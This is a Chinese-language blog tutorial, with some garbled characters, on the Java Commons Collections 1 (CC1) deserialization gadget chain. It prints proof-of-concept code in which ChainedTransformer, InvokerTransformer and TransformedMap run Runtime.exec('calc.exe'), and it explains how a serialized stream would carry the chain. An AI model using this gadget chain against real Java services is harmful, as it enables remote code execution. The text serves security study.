ChainedTransformer
的transform
函数如下
public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
ChainedTransformer
类的构造函数
,其中iTransformers数组是用户自己定义的:
三个继续搭配一下
public class Test {public static void main(String[] args) throws Exception {ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})});chain.transform(123);}}

文章插图
此时只要
ChainedTransformer
反序列化后调用transform
方法并传递任意内容即可实现rceTransformedMapTransformedMap?于对Java标准数据结构Map做?个修饰,被修饰过的Map在添加新的元素时,将可以执??个回调 。我们通过下?这?代码对
innerMap
进?修饰,传出的outerMap
即是修饰后的Map
:【1 java安全之CC1浅学】
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调 。我们这?所说的”回调“,并不是传统意义上的?个回调函数,?是?个实现了Transformer接?的类 。也就是可以调用其他的tramsform
,这一点很关键payload
public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:/Windows/System32/calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}}
首先创建了?个ChainedTransformer
,其中包含两个Transformer
:第?个是ConstantTransformer
, 直接返回当前环境的Runtime对象;第?个是InvokerTransformer
,执?Runtime对象的exec?法,参 数是C:/Windows/System32/calc.exe
。当然,这个transformerChain
只是?系列回调,我们需要?其来包装innerMap
,使?的前?说到的 TransformedMap.decorate
Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, chain);
最后,怎么触发回调呢?就是向Map中放??个新的元素:outerMap.put("test", "xxxx");

文章插图
小结到这儿,总算是有点思绪,当然,上?的代码执?demo,它只是?个?来在本地测试的类 。在实际反序列化漏洞中,我们需要将上?最终?成的o
uterMap
对象变成?个序列化流经验总结扩展阅读
- zk系列三:zookeeper实战之分布式锁实现
- 红酒打开之后可以放多少天
- 云顶之弈8月11日12.15版本更新维护公告
- 王者荣耀荣耀之战荣耀值获取方法介绍
- 王者荣耀2022荣耀之战活动皮肤抽奖概率一览
- SpringBoot 01: JavaConfig + @ImportResource + @PropertyResource
- 10 ClickHouseClickHouse合并树MergeTree家族表引擎之ReplacingMergeTree详细解析
- 睡觉时手机应离人多远
- 金铲铲之战2022.8.11更新维护内容一览
- 结婚五年是什么婚